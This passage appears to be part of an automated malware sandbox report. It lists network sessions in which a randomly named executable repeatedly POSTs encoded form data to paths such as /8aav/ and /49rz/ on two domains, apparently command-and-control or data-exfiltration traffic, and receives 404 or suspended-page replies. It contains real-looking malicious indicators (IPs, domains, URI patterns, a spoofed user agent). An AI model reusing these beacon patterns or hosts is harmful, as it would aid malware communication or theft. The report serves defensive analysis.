43 72 41 2f 34 6a 2f 71 50 6f 55 50 30 34 45 53 58 56 46 6e 36 4e 72 47 31 53 61 45 55 2f 36 43 30 68 6d 51 39 79 78 4f 62 41 42 77 2b 2b 32 63 4a 41 54 64 37 6d 49 68 2f 59 73 74 76 45 43 32 6a 54 58 6e 4d 36 61 77 45 6b 37 72 6f 4e 30 38 5a 75 52 76 39 44 55 3d Data Ascii: SLTxDJ=RVshEy5maxE7JpNMjh0NAJ2p6125r5Px2ISaZm8Za+bmSmbpKkHjZram9Id50O3igZm+pPN/BGx0aBHKrCVHENP4TBLxZLX/uo+4/6KBaKnKUGVh1ijDCzTPil6mmjCeCrA/4j/qPoUP04ESXVFn6NrG1SaEU/6C0hmQ9yxObABw++2cJATd7mIh/YstvEC2jTXnM6awEk7roN08ZuRv9DU=
Oct 3, 2024 18:14:16.548512936 CEST	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:14:16 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49768	93.125.99.74	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:19.081104994 CEST	2578	OUT	POST /8aav/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.casadisole.org Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.casadisole.org Referer: http://www.casadisole.org/8aav/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 52 56 73 68 45 79 35 6d 61 78 45 37 4a 70 4e 4d 6a 68 30 4e 41 4a 32 70 36 31 32 35 72 35 50 78 32 49 53 61 5a 6d 38 5a 61 2b 54 6d 53 30 54 70 4a 46 48 6a 65 72 61 6d 30 6f 64 34 30 4f 32 79 67 5a 2b 79 70 50 78 42 42 43 42 30 62 6b 62 4b 38 6e 31 48 4f 4e 50 34 65 68 4c 77 45 62 58 75 75 72 47 38 2f 36 61 42 61 4b 6e 4b 55 45 4e 68 33 7a 6a 44 4f 54 54 4d 6c 6c 36 71 69 6a 44 51 43 72 49 46 34 6a 72 36 50 59 30 50 36 35 30 53 62 48 64 6e 78 4e 72 45 77 53 61 4d 55 2f 2b 42 30 68 72 68 39 79 74 67 62 48 64 77 39 34 50 49 5a 6a 2f 31 75 46 39 6f 69 70 6f 41 6f 32 4b 59 71 52 65 62 4c 61 65 52 50 45 33 6b 6f 38 67 42 4b 4c 52 46 6d 55 75 2f 68 65 42 67 2f 65 4f 66 59 58 30 6d 37 6f 38 63 61 50 70 72 43 42 4d 50 79 39 6a 63 49 79 7a 47 4d 6f 34 43 66 2b 5a 38 51 67 71 30 6d 6a 6e 41 51 38 7a 41 38 78 4d 49 68 67 43 49 74 54 61 64 53 42 7a 6c 79 62 30 71 2b 53 77 30 4b 39 41 49 37 77 31 79 34 59 6e 38 6c 7a 74 4f 7a 7a 35 79 6e 62 34 38 7a 50 33 65 46 32 34 4a 38 42 2f 4e 4c 67 61 [TRUNCATED] Data Ascii: SLTxDJ=RVshEy5maxE7JpNMjh0NAJ2p6125r5Px2ISaZm8Za+TmS0TpJFHjeram0od40O2ygZ+ypPxBBCB0bkbK8n1HONP4ehLwEbXuurG8/6aBaKnKUENh3zjDOTTMll6qijDQCrIF4jr6PY0P650SbHdnxNrEwSaMU/+B0hrh9ytgbHdw94PIZj/1uF9oipoAo2KYqRebLaeRPE3ko8gBKLRFmUu/heBg/eOfYX0m7o8caPprCBMPy9jcIyzGMo4Cf+Z8Qgq0mjnAQ8zA8xMIhgCItTadSBzlyb0q+Sw0K9AI7w1y4Yn8lztOzz5ynb48zP3eF24J8B/NLgaj9zT2Dt0FVWkKyG/NiH/f8hcPaiLZq3OnwlQI/CI9vDfGrvLL2dcGVUIPYP1wn6GuTMyduXyX3dyP6+VQnCym5rtxqt89D2nzAa86YCgLR0zwxrnkzdMvAH2yorgImAylYJveYxq1xfk+sRz42QXBFRiBtxsxsviPe3QsUjdNPn8HHwJ3UNpb6Hr6XDQYnTkzeFTcRYp+OTPCBFrADr6/NlYHnwJbW3TOz1KYbXJ4m2AjG8d+RPoGTJkG1+46V5O7sAbWkuPBxlOpytE6Lcgpt+HLJmSAoX1qSb4Y7EB3qchG5l3aMzradXJyC/3I1+bUJiBmpu3shg40s17VmFj3Bc4/Jff4/UWK1gG6FoS7HdvTSJbfsyUxqVUth6aqHzx9ZHb034LGWvRDcPc+LRehUCidXtH5R7c9igWsRY5HrHrH/wvgeMXtsbHWhKuuaJn0W1nVuIHEZTkRqwpsI/dW012ws3Ul8Wnq4CgB/rVnHhRUkdrsRvOJkfqb3JlSRAHVjqCwzZet//c76Xh0zff1VkPvBhHoBnF+y4teYbkWa4bQmPYXEvKnEr9+ai78e5ncahxgGLzfSQJGCyyMtjcoEd+8LRtqC45PGusUy0T6jflbSM5T5iS0TmsuQf79Q9c5jZ6t6EP1t5PV98HjXqnNzizLyuqAWEMNZ [TRUNCATED]
Oct 3, 2024 18:14:19.081155062 CEST	5381	OUT	Data Raw: 48 39 61 35 4e 6c 64 4d 46 57 51 6f 47 58 73 76 49 32 67 39 32 69 63 69 69 6a 30 7a 43 58 48 75 36 4c 4f 46 57 6f 63 47 44 31 45 76 49 69 38 76 79 62 4d 39 45 2b 38 70 45 71 74 68 6b 30 67 62 79 33 6f 61 53 43 52 69 67 45 33 61 43 4e 6a 2b 6e 74 Data Ascii: H9a5NldMFWQoGXsvI2g92iciij0zCXHu6LOFWocGD1EvIi8vybM9E+8pEqthk0gby3oaSCRigE3aCNj+ntUJ5SrT5Os6+kHJMP/HojF7dBn+mXd6MeT285AS/4aDRCs0i6mF974r4FjzvcwloR3QzVuzeCI3kOUpiKkIuzpVdYM4AdQ0YWWm+mC/fapnNDelsxgPCjJbA/24rTPpIv5qEtZIejXX1C4dGzm/5c8S59nZlAEJlLJ
Oct 3, 2024 18:14:19.308762074 CEST	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:14:19 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49769	93.125.99.74	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:21.807512999 CEST	520	OUT	GET /8aav/?SLTxDJ=cXEBHFhJYRIEdLtDrD47XouJ9lOJ6Jbz9q+FGHwZbcqkL3CqI33gRqzfzaRS4tnulKfTicgkVTcPWkXwiz1QB5bpYjLPXLzN677G0LXTHI3kekNY/RjEFGc=&sdqp=DdBtjpu0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.casadisole.org Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1
Oct 3, 2024 18:14:22.009506941 CEST	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 03 Oct 2024 16:14:21 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 315 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49770	65.21.196.90	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:35.916553020 CEST	787	OUT	POST /49rz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.030002626.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Origin: http://www.030002626.xyz Referer: http://www.030002626.xyz/49rz/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 6a 7a 54 53 33 6f 43 35 69 32 64 55 45 68 72 61 6a 59 38 47 41 66 49 6e 64 58 73 2f 7a 42 48 38 4b 61 4a 35 6f 42 5a 51 6e 72 79 4d 55 31 71 71 6d 75 34 34 41 30 55 35 4c 6a 6a 64 61 61 57 66 66 74 36 4e 48 64 53 4a 64 69 66 44 75 59 52 41 50 58 66 7a 47 30 34 35 63 50 45 6e 49 56 58 52 4c 66 4a 78 71 56 6c 7a 32 71 49 37 46 36 51 32 53 44 37 52 38 37 50 39 32 72 59 50 72 74 51 2f 4a 51 6b 65 50 31 75 78 74 55 57 6c 57 57 61 62 69 71 49 55 50 65 4e 56 58 6e 2f 32 6d 53 39 68 38 56 64 4d 62 71 4d 68 55 38 50 48 37 48 64 59 42 78 66 51 6c 76 61 38 33 36 61 43 31 5a 4b 30 51 3d 3d Data Ascii: SLTxDJ=JjzTS3oC5i2dUEhrajY8GAfIndXs/zBH8KaJ5oBZQnryMU1qqmu44A0U5LjjdaaWfft6NHdSJdifDuYRAPXfzG045cPEnIVXRLfJxqVlz2qI7F6Q2SD7R87P92rYPrtQ/JQkeP1uxtUWlWWabiqIUPeNVXn/2mS9h8VdMbqMhU8PH7HdYBxfQlva836aC1ZK0Q==
Oct 3, 2024 18:14:36.143192053 CEST	1038	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Thu, 03 Oct 2024 16:14:36 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.030002626.xyz/cgi-sys/suspendedpage.cgi vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49771	65.21.196.90	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:38.648752928 CEST	807	OUT	POST /49rz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.030002626.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 223 Origin: http://www.030002626.xyz Referer: http://www.030002626.xyz/49rz/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 6a 7a 54 53 33 6f 43 35 69 32 64 57 6b 78 72 63 45 45 38 42 67 66 4c 6b 64 58 73 6c 44 42 4c 38 4b 47 4a 35 74 67 43 51 55 50 79 50 31 46 71 37 54 4f 34 2f 41 30 55 68 37 6a 69 51 36 61 4e 66 66 51 48 4e 44 64 53 4a 64 32 66 44 72 6b 52 41 34 44 63 77 32 30 2b 6c 63 50 43 6a 49 56 58 52 4c 66 4a 78 71 42 62 7a 31 61 49 37 30 4b 51 33 77 37 36 4e 73 37 41 36 32 72 59 43 4c 73 5a 2f 4a 52 42 65 4d 78 55 78 75 38 57 6c 57 47 61 66 6a 71 4c 4e 2f 65 4c 62 33 6e 67 6e 54 6a 73 6b 50 56 74 44 6f 61 6b 6d 45 4d 67 50 4e 57 48 46 7a 46 37 54 32 7a 6f 34 48 44 79 41 33 59 52 70 54 77 61 75 75 56 5a 6e 54 4f 53 63 6f 57 4a 45 4b 67 37 63 66 34 3d Data Ascii: SLTxDJ=JjzTS3oC5i2dWkxrcEE8BgfLkdXslDBL8KGJ5tgCQUPyP1Fq7TO4/A0Uh7jiQ6aNffQHNDdSJd2fDrkRA4Dcw20+lcPCjIVXRLfJxqBbz1aI70KQ3w76Ns7A62rYCLsZ/JRBeMxUxu8WlWGafjqLN/eLb3ngnTjskPVtDoakmEMgPNWHFzF7T2zo4HDyA3YRpTwauuVZnTOScoWJEKg7cf4=
Oct 3, 2024 18:14:38.843453884 CEST	1038	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Thu, 03 Oct 2024 16:14:38 GMT cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.030002626.xyz/cgi-sys/suspendedpage.cgi vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49772	65.21.196.90	80	636	C:\Program Files (x86)\dISegzvEbDPORTPogVMrwZRPcgzGUBqBoVxtkMCnuejeRLXVUsEItiyojcctMHhS\ffHgJPmoWftQT.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 18:14:41.382450104 CEST	2578	OUT	POST /49rz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Host: www.030002626.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 7371 Origin: http://www.030002626.xyz Referer: http://www.030002626.xyz/49rz/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1751.0 Safari/537.36 DejaClick/1.0.7.1 Data Raw: 53 4c 54 78 44 4a 3d 4a 6a 7a 54 53 33 6f 43 35 69 32 64 57 6b 78 72 63 45 45 38 42 67 66 4c 6b 64 58 73 6c 44 42 4c 38 4b 47 4a 35 74 67 43 51 55 48 79 4d 44 5a 71 70 43 4f 34 2b 41 30 55 2f 4c 6a 6e 51 36 61 41 66 66 49 4c 4e 44 59 6e 4a 66 4f 66 43 4a 63 52 52 36 37 63 72 6d 30 2b 75 38 50 48 6e 49 56 34 52 4c 50 46 78 71 52 62 7a 31 61 49 37 32 53 51 2b 43 44 36 65 63 37 50 39 32 72 45 50 72 73 31 2f 4a 59 38 65 4e 46 45 77 66 63 57 6c 33 32 61 5a 42 79 4c 53 50 65 4a 61 48 6d 31 6e 54 6d 30 6b 50 4a 4c 44 70 2b 4f 6d 48 73 67 4c 70 54 42 47 54 46 44 4e 6e 50 6a 6c 57 2f 4a 58 45 67 31 33 53 73 62 6a 65 30 79 6f 55 69 78 44 4c 6d 56 66 37 49 4e 49 37 57 4f 6c 6f 30 71 37 43 4f 4d 2f 4f 50 72 4d 32 5a 5a 77 6c 6a 59 76 61 4a 35 51 4a 52 72 38 48 4f 78 51 6d 74 33 75 64 43 51 39 43 66 4f 56 48 43 45 76 63 68 69 56 58 78 4d 49 68 50 6d 57 4a 72 66 53 34 55 4b 75 6c 4d 4c 73 4c 72 31 4d 4b 44 2b 49 4d 7a 41 38 69 76 4b 76 6f 6d 75 5a 34 32 78 6e 6e 4e 65 4d 65 45 45 31 31 4b 56 51 55 6e 67 69 62 49 [TRUNCATED] Data Ascii: SLTxDJ=JjzTS3oC5i2dWkxrcEE8BgfLkdXslDBL8KGJ5tgCQUHyMDZqpCO4+A0U/LjnQ6aAffILNDYnJfOfCJcRR67crm0+u8PHnIV4RLPFxqRbz1aI72SQ+CD6ec7P92rEPrs1/JY8eNFEwfcWl32aZByLSPeJaHm1nTm0kPJLDp+OmHsgLpTBGTFDNnPjlW/JXEg13Ssbje0yoUixDLmVf7INI7WOlo0q7COM/OPrM2ZZwljYvaJ5QJRr8HOxQmt3udCQ9CfOVHCEvchiVXxMIhPmWJrfS4UKulMLsLr1MKD+IMzA8ivKvomuZ42xnnNeMeEE11KVQUngibIEHy6yDgIdkOGdFdoX0Im9GUvUCoFZ2OrwIFfMeAxtS370UofaODIHMv4MQADFySBf9W+kOvwYEkv4fH+ek3Gy3/xCwu9ZH9Ri1jfqUb0iqcfjOayU4+62DlNx4QzvV+gPuN/xCAeVAYu1xaaXL9Rz9nbvosNUtWZVuQ3NvQV5+cbxDQTYYAHH/Xna314FlqG17iGTY1RnTxK0B3FqPzRSMvPZyH44RgC58njZeWynuzjhtvISKmrohcjbxov9ixJ36Iv73BHtScQwS64EfdDI01Qc/YwAF7JucD8q/HO5N6LAjle+SbPqIIKHkVr7zkQz4j3T2aeUD7MGZzsjM2rG7XK9FLmZs8eWsDaQUHujRIG/mpDrc/2MCrpBOo37cmMdZLJDwPLRvi3IoVVZdJncEd0jwbe3yFC8Z6DnHh/ztoj7RsI73Ru2KEA0SG5BRGWOLx3DH5hOKq4IlKzW3jlpnBd+yXAtiGRLuIXRQq7GxHLPbBv2cammd20vxsyaWPmJqppWYC+F9+YbPvp71tlbLGk4FS/PKMQLuw6CqO3Baua+g7Y3a6CW+oc3Qm/W2o2Kka6kB6GeJVLLZE9BGVTBOyI5oPWwNvrknn5L/X1rrRyKciX4XrA+3pjG8RbfqvhF/SQmNrItw0CIWhZ3cCJawkGqDOjDmcRFh [TRUNCATED]
Oct 3, 2024 18:14:41.382467031 CEST	1289	OUT	Data Raw: 4b 7a 6d 66 57 54 38 41 55 4f 47 64 61 46 4a 62 4d 32 4d 59 58 67 57 4d 38 6d 4f 72 78 51 4f 5a 62 34 7a 64 4b 66 72 61 4c 63 76 72 68 44 54 32 55 70 6f 50 34 53 43 6f 4c 78 62 45 52 72 49 72 63 6f 46 4f 6f 4c 78 55 66 42 77 6b 5a 57 58 72 54 44 Data Ascii: KzmfWT8AUOGdaFJbM2MYXgWM8mOrxQOZb4zdKfraLcvrhDT2UpoP4SCoLxbERrIrcoFOoLxUfBwkZWXrTDW+iH+7kYsS7iFCXo65DxoxrerAQ8sY6bYlLLj1uC0EBxvy48HFiOwptgr9J0UU0WIwcCmFVn2oKV10Iog4jNLBc+Vh3cMibTEp6OAFMyPqxpbuWOjUEh/zP4dxgmXYlv7HHCiHXAlbzAlNMSqmYWDbEor3THcaaP7
Oct 3, 2024 18:14:41.382554054 CEST	4089	OUT	Data Raw: 54 41 76 72 33 56 69 58 32 47 33 4b 46 59 4f 55 6c 61 6d 75 42 66 51 79 53 67 48 48 68 75 47 2f 54 64 71 6d 2b 4e 55 38 51 4e 43 32 2f 68 72 50 6b 6c 58 43 65 58 45 43 2b 75 2b 65 6d 62 52 44 34 2f 44 4a 64 36 45 6d 62 4f 65 78 58 6f 2b 59 73 72 Data Ascii: TAvr3ViX2G3KFYOUlamuBfQySgHHhuG/Tdqm+NU8QNC2/hrPklXCeXEC+u+embRD4/DJd6EmbOexXo+YsratPQvtNT/91KWeKhIAxhOXviefraA2nYDnLDgqwfx63HfRQQT+uTBc57CpaeNAzbx8iwhUkUAdUKA0lRru7op7axQHU7lO7rXQQifL4Zc53tcLaZtjcwamFyozMNziudTOoswP0DAGYhHOFH65j5FLkqZCUmg5wjQ
